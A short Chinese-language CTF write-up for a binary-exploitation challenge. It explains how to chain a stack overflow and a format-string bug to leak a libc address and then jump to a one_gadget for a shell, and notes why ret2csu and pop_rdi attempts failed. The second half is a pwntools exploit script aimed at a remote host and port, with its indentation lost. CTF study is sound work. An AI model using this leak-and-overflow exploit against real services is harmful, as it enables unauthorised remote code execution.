这道题最开始的附件,代码是随机生成一个0~199的数,然后0触发格式化字符串漏洞,1触发栈溢出漏洞,修改后的附件随机数是0或者1
下面是脚本,脚本逻辑:通过栈溢出返回到格式化字符串漏洞函数,泄露libc地址,然后再返回到main函数,通过栈溢出执行onegadget
几率:第一次执行栈溢出1/2,第二次再次执行栈溢出1/2,1/4的概率执行成功
利用失败的思路,1、想通过ret2csu来执行puts函数泄露地址,2、通过pop_rdi来执行system函数,但是两个地址中都包含0a,由于输入函数是gets,遇到回车就截断了,所以利用失败了
from pwn import *
from LibcSearcher import *
context(log_level = "debug")
# p= process("./luck")
p = remote("39.99.242.16",10000)
p.recvuntil("good luck\n")
if b"luck!" in p.recvline():
# gdb.attach(p)
# pause()
offset = 0x58
payload = offset * b"a" + p64(0x400836) + p64(0x400923)
p.sendline(payload)
p.recvuntil("fmt\n")
p.sendline("B"*8 + "%34$p")
p.recvuntil("BBBBBBBB")
libc_start_main = int(p.recv(14),16)
print(hex(libc_start_main))
libc=LibcSearcher('__libc_start_main_ret',libc_start_main)
libc_addr=libc_start_main-libc.dump('__libc_start_main_ret')
one_gadget = libc_addr + 0x45226
p.recvuntil("good luck\n")
sleep(3)
if b"luck!" in p.recvline():
offset = 0x58
payload = offset * b"a" + p64(one_gadget)
p.sendline(payload)
else:
pass
else:
pass
p.interactive()
|